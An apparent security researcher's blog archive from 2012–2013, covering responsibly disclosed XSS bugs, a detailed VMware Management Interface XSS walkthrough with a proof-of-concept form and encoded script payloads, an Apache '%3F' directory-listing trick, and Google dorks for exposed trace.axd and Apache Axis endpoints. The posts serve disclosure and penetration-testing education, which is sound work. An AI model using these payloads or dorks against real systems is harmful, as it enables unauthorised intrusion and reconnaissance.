Tuesday, March 26, 2013

Responsible Disclosure : XSS in Damballa Reported and Patched !

Last weekend, I was reading some research papers available at Damballa website which are awesome without any doubt. I was surfing the website and to surprise, I found an XSS vulnerability in the website. Since, the Damballa provides anti malware solutions, XSS can be used for malicious purposes. Under responsible disclosure constraints, I contacted David Holmes of Damballa and revealed the issue. What makes a responsible disclosure interesting is the prompt reply from the vendor who is willing to patch the vulnerability without any complexities. The same happened with Damballa. They patched the bug right away. In addition, I had a good discussions with David Holmes why the issue persisted in the website.

I expect that every vendor should be prompt enough to patch the issue.

Proof-of-Concept (PoC):

Be responsible in disclosing bugs.

Sunday, January 27, 2013

VMware Management Interface - A Little Story of XSS

As a part of my open research, I came across an XSS vulnerability in VMware management interface which is used by VMware ESX and GSX server. I thought it might be a new issue but interestingly a number of XSS issues have already been reported to VMware security team. The list can be found here:

On the other note, a number of VMware management interfaces exposed on the Internet are still vulnerable. Of-course, the administrators have not deployed patches or upgraded the required software. I din't get enough details on the XSS issue (may be I missed it). So, I thought to talk about the issue in detail here. I am not going to list which versions are affected, you can get that information in the advisories. I will talk about the issue. The management interface look like as presented below:

VMware Management Interface
The username and password field are provided with ids as "l" and "m" respectively. Interestingly, the vulnerable interfaces use client side encoding to obfuscate the input values entered by the user. But, this can be taken care while using proxy, the value can be directly passed without encoding (alter the HTTP request and POST parameters in the proxy such as BURP, Charles, etc). For example:- if you specify the parameters as follows:


it gets encoded as follows:

l = Ii8+Ii8+Ii8+PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpOzwvc2NyaXB0Pg==
m = dGVzdA==

Well, its not a complex encoding but only a Base 64 encoding. Even if, one uses the proxy to pass the values without encoding, due to client side work, the XSS payload fails to render in the webpage. The output looks like as follows:

<html><head><title>Login: VMware Management Interface</title><script> var user="Ii8+Ii8+Ii8+PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpOzwvc2NyaXB0Pg==";var err="-4";var str="Permission denied: Login (username/password) incorrect";var next=null;
</script></head><body bgcolor="#336699" onload="try{if(parent.loginCb)parent.loginCb(self);}catch(e){;}"></body></html>

It reflects back our XSS payload but in Base 64 encoded format which is rendered as useless data. The vulnerability persisted in the handling of these parameters on the server side. If you check, the same payload is reflected back without any additional modification. Actually, the server does not perform any encoding or input validation. Its all client side. The idea is to simply render this payload without encoding. All the POST requests are handled by the /sx-login/ Let's see:

(Request-Line) POST /sx-login/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: vmware.mui.test=1; vmware.mui.test=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 95

The simple proof of concept (PoC) that directly sends request to the /sx/login/ is shown below which queries directly without any encoding and made the XSS work.


<form name="k" id="k" method="post" action="" target="data">
<input name="l" type="text" value='"--></style></script><script>alert(document.location);</script>"'/>
<input name="m" type="password" value="test"/>
<input type="submit" value="Submit">


Once this form is successfully submitted, it results in XSS as shown below:

<html><head><title>Login: VMware Management Interface</title><script>
var user=""--></style></script><script>alert(document.location);</script>"";var err="-4";var str="Permission denied: Login (username/password) incorrect";var next=null;
</script></head><body bgcolor="#336699" onload="try{if(parent.loginCb)parent.loginCb(self);}catch(e){;}"></body></html>

Successful XSS Injection
On patched  systems, the web server replied back as follows:

<html><head><title>Login: VMware Management Interface</title><script>
var user="\"--\u003E\u003C/style\u003E\u003C/script\u003E\u003Cscript\u003Ealert(document.location);\u003C/script\u003E\"";var err="-4";var str="Permission denied: Login (username/password) incorrect";var next=null;
</script></head><body bgcolor="#336699" onload="try{if(parent.loginCb)parent.loginCb(self);}catch(e){;}"></body></html>

The patched versions are now using server side unicode encoding to subvert the XSS payload.


Thursday, January 24, 2013

Responsible Disclosure : XSS in UBM

Last year, I reported an XSS issue in the which was used by UBM organization. I revealed the details to Trey Ford, and the result is as expected. The issue has been patched :). The domain is no longer valid as it redirects all the traffic to the primary website

This issue was result of an outcome of open research. The good point is that, the vulnerability got noticed and patched.

XSS - 1 
and ...

XSS - 2

Sunday, January 20, 2013

(Pentest Apache #2) - The Beauty of "%3F" and Apache's Inability | Wordpress | Mod Security

Tested Apache Version: Apache 1.3.37(Unix) (with different modules)

I was doing an open research and came across an interesting issue which helps a penetration tester to gather more information about the files present (directory listing) on the web server (specific web folder). I tested only one version of Apache for this. Let's understand this issue. The problem is present in Apache's ability to process the encoded value of "?" which is "%3F". 

Testing: During the validation, I found that wordpress was running on Apache 1.3.37(unix). Due to misconfiguration, it was possible to access the /wp-includes/  folder, which resulted in directory listing as shown below:

So, when I accessed the /wp-admin/ directory, it redirected me to the login page as presented below:

Tthe above presented screenshot shows the correct behavior of the wordpress or the Apache server when /wp-admin/ directory is accessed. Now, when I accessed the , the web server displayed the contents of wordpress blog such as posts and entries. 

Question : Is it possible to get the directory listing on accessing the /blog/ directory?
Answer : Yes, It can be done in some web servers such as Apache.

Question : How can it be possible?
Answer : I exploited the behavior of Apache in processing the encoded "?" character whose value is
"%3F". Amazingly, it worked. I constructed the payload as: [One can use any id number or parameter]

Other examples:

When I used the above stated payload, I got the response as follows:

This allowed me to get the listing of the /blog/ directory which really helped me to understand the presence of different files on the remote web server. But, If I used the payload as: without encoding, it did not work. So the encoding of "?" character resulted in failure of processing the request as desired by the Apache web server thereby resulting in directory listing.

Let's have a look at the HTTP response headers:

(Status-Line)      HTTP/1.1 200 OK
Date      Sun, 20 Jan 2013 19:22:59 GMT
Server   VHFFS / Apache/1.3.34 (Unix) mod_lo/1.0 PHP/4.4.4 with Hardening-Patch mod_ssl/2.8.25 OpenSSL/0.9.8b mod_chroot/0.5
Content-Type    text/html; charset=ISO-8859-1
Transfer-Encoding           chunked

(Status-Line)      HTTP/1.1 200 OK
Date      Sun, 20 Jan 2013 19:23:48 GMT
Server   VHFFS / Apache/1.3.34 (Unix) mod_lo/1.0 PHP/4.4.4 with Hardening-Patch mod_ssl/2.8.25 OpenSSL/0.9.8b mod_chroot/0.5
X-Powered-By  PHP/5.1.5 with Hardening-Patch
Content-Type    text/html; charset=ISO-8859-1
Transfer-Encoding           chunked

In the request 2, the response contains X-Powered-By as compared to the first request. So, the PHP preprocessor plays a part in it.

Constraint: In this technique, one can only get the directory listing but will no be able to access those files
until unless there is misconfiguration issue.

Background: I forced Google to provide me with related information and I got the related links as follows:

Solution: Configure appropriate rewrite rules using mod_rewrite to prevent these types of vulnerabilities.
Check [1] for this

Note: If any reader has a specific view on this, please respond back. 

DEFCON 20 Talk : Botnets Die Hard : Owned and Operated Video

Wednesday, October 31, 2012

(Pentest Apache #1) Exposed Apache Axis - SOAP Objects

Recently, I was doing some open research. On compromising the Tomcat Apache Manager component, I came across Apache Axis.

Apache Axis2™ is a Web Services / SOAP / WSDL engine, the successor to the widely used Apache Axis SOAP stack. There are two implementations of the Apache Axis2 Web services engine - Apache Axis2/Java and Apache Axis2/C

Fore more information about Apache Axis, refer here :

It is highly advised that while conducting penetration tests (web + network), one should dig deeper to find exposed Apache Axis objects on the target servers. Primarily, misconfigured Apache web servers (Tomcat) results in exposed SOAP objects used for implementing Apache Axis services engine.

What to look for?

1. Default happyaxis.jsp: This file provides plethora of information about the configured web services on the target server. It leverages configuration as follows:

  • Examining web application configuration (Needed + Optional Configuration)
  • Examining application server
  • Examining system properties

2. Axis Servlet (/servlet/AxisServlet): It leverages information about the deployed web services on the
target server.

3. Echo Headers (/EchoHeaders.jws): This component calls the local endpoints to reveal HTTP headers.

3.1 If method name is not specified (EchoHeaders.jws?method=), it results in exception as follows:

3.2 If method name is specified (EchoHeaders.jws?method=list), it provides results as follows:

3.3 Call WSDL directory (EchoHeaders.jws?wsdl) it provides results as follows:

4. Traverse the exposed WSDL Endpoints listed by the Axis Servlet (/servlet/AxisServlet).

By default, Administer Axis and SOAP Monitor component is disabled. But, the above presented information still helps the attacker to get the configuration of the target server.

So use Google Dorks, analyze manually by provided information in this blog to detect exposed Apache Axis SOAP objects.


Sunday, July 01, 2012

Art of InfoJacking Talk at Source Seattle - 2011

My talk at Source Seattle 2011.

LayerOne 2012 Talk - Mangling with Botnets

My talk at LayerOne 2012 conference.

Sunday, June 03, 2012

FreeBSD Jails - Routing Issues and Nmap Scanning - NPT

Recently I was using FreeBSD system for Network Penetration Testing (NPT). For better control, jails are implemented in FreeBSD. Jails are nothing but a replacement of chroot environment. For better understanding of Jails in FreeBSD, read  here -

Target -  9.0-RELEASE FreeBSD 9.0-RELEASE #0:  amd64

When you are performing NPT using FreeBSD, you might encounter the something similar that I am discussing below

1. FreeBSD fails to provide routing information. Commands such as "netstat -r" | "netstat -rn" fails.

john# netstat -r
netstat: kvm not available: /dev/mem: No such file or directory
Routing tables
rt_tables: symbol not in namelist

john# netstat -rn
netstat: kvm not available: /dev/mem: No such file or directory
Routing tables
rt_tables: symbol not in namelist

 2. Traceroute command works perfectly fine and provides desired results.

 john# traceroute
traceroute: Warning: has multiple addresses; using
traceroute to (, 64 hops max, 52 byte packets
 1 (  2.733 ms  0.958 ms  0.864 ms
 2 (  5.611 ms  0.684 ms  1.295 ms
 3 (  0.728 ms  0.702 ms  0.652 m
 4 (  0.716 ms (  0.747 ms  0.774 ms
 5 (  0.976 ms  1.042 ms  0.959 ms
 6 (  0.745 ms  0.652 ms  0.726 ms

3. Dig works fine and DNS names are resolved.

john# dig +nocmd +short

3. Nmap does not trigger several set of scans on FreeBSD due to jails implementation. Primarily, in
    my case Syn scan fails.

The overall problem is present in the support for raw sockets in FreeBSD when jails are implemented. By default, the support for raw sockets is not provided in jails because of security issues. The configuration parameter "security.jail.allow_raw_sockets" in sysctl.conf is the controlling agent. If the value is changed to "1", the raw sockets support is allowed.

I encountered errors related to "devfs" system. The jails, from where I was executing the scans did not support /dev/mem or /dev/kmem. Typically, I found that jail failed to find kvm. The solution is to provide access to critical sections of the memory to that specific jail. This can be done by making modifications in "/etc/devfs.rules". It means inside the jail, the user can access the all the sections of memory ( bypassing jail restrictions). Being an administrator, no body prefers to do that as it is not a best practice to grant users the root level access to control all sections of memory. This kind of scenarios lead to some management issues though for administrators.

Now the question is, if certain set of Nmap scans wont work what to do. No doubt, running scans in jail environment restricts some of the features of Nmap but we can still use (-sT) TCP connect scan to initiate scanning. Though it is time consuming as it is full three way handshake as compared to (-sS) which is two way but it works without any hassles. You have to make the (-sT) scan minimal which means even this scan does not work with other options in Nmap. You have to run it more simple way as discussed in some examples below.

john# nmap -Pn -vv -n -sT -O -A -oA first_subnet
Starting Nmap 6.00 ( ) at 2012-06-01 21:53 UTC
NSE: Loaded 93 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 2) scan.
NSE: Starting runlevel 2 (of 2) scan.
nexthost: failed to determine route to QUITTING!

john# nmap -Pn -vv -n -sT -O -A
Starting Nmap 6.00 ( ) at 2012-06-01 21:53 UTC
NSE: Loaded 93 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 2) scan.
NSE: Starting runlevel 2 (of 2) scan.
nexthost: failed to determine route to QUITTING!

So what works in this case is as follows

john# nmap -Pn -sT -sV -p 80

Starting Nmap 6.00 ( ) at 2012-06-04 00:23 UTC
Nmap scan report for (
Host is up (0.00080s latency).
Other addresses for (not scanned):
rDNS record for
80/tcp open  http    Google httpd 2.0 (GFE)
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel

So the point to be considered while doing penetration testing is to take care for these situations. Even though there is restricted environment but we can still achieve what we want.

Hope it helps.

Wednesday, May 30, 2012

Traversing Trace.axd and Miconfiguration Glitch

Recently, I was going through attack research's blog post on trace.axd. Refer here The information present in trace files is always important and sometimes reap additional benefits from pen tester's perspective. There is some additional info I want to add because of misconfiguration in web server setup. Some simple information but worth while.

During my testing, I have seen that redirection misconfiguration of port 80  to port 443 including path entries can cause serious implications. I am taking a simple example of trace.axd. Triggering a google dork as (inurl:trace filetype:axd site:com),  results in several targets. Here is an interesting case study.

1. On accessing through browsers, the target results in following information

The response headers are:

(Status-Line)    HTTP/1.1 403 Forbidden
Cache-Control    private
Content-Type    text/html; charset=utf-8
Server    Microsoft-IIS/7.5
X-AspNet-Version    2.0.50727
X-Powered-By    ASP.NET
Date    Wed, 30 May 2012 18:41:24 GMT
Content-Length    2062

 The metasploit  produces the similar result.

2. This is not an end. Due to inappropriate configuration, the server can be accessed over HTTPS. Really, let's see.

The response headers for this request are

(Status-Line)    HTTP/1.1 200 OK
Cache-Control    private
Content-Type    text/html; charset=utf-8
Content-Encoding    gzip
Vary    Accept-Encoding
Server    Microsoft-IIS/7.5
X-AspNet-Version    2.0.50727
X-Powered-By    ASP.NET
Date    Wed, 30 May 2012 18:40:59 GMT
Content-Length    1322

In reality, the misconfiguration results in different results. By default, the content should not be allowed over both ports or similar error message should be displayed.

Use metasploit auxiliary module to extract all information or surf directly through browser.

The overall aim is to check all the entry points while doing penetration testing. 

Enjoy !

Thursday, May 24, 2012

Responsible Disclosure - XSS in ZScaler Gateway Application

Updated: I mentioned this issue to the Securityweek's author Steve Regan after reading his story here: He
quoted this blog past as an addition to the story.

Some of the XSS bugs were responsibly disclosed to the security team at ZScaler. Thanks to Michael Sutton for responding quickly. The vulnerability is patched now.

Proof of Concept is here:

We stick to responsible disclosure to build the community more secure.

Enjoy !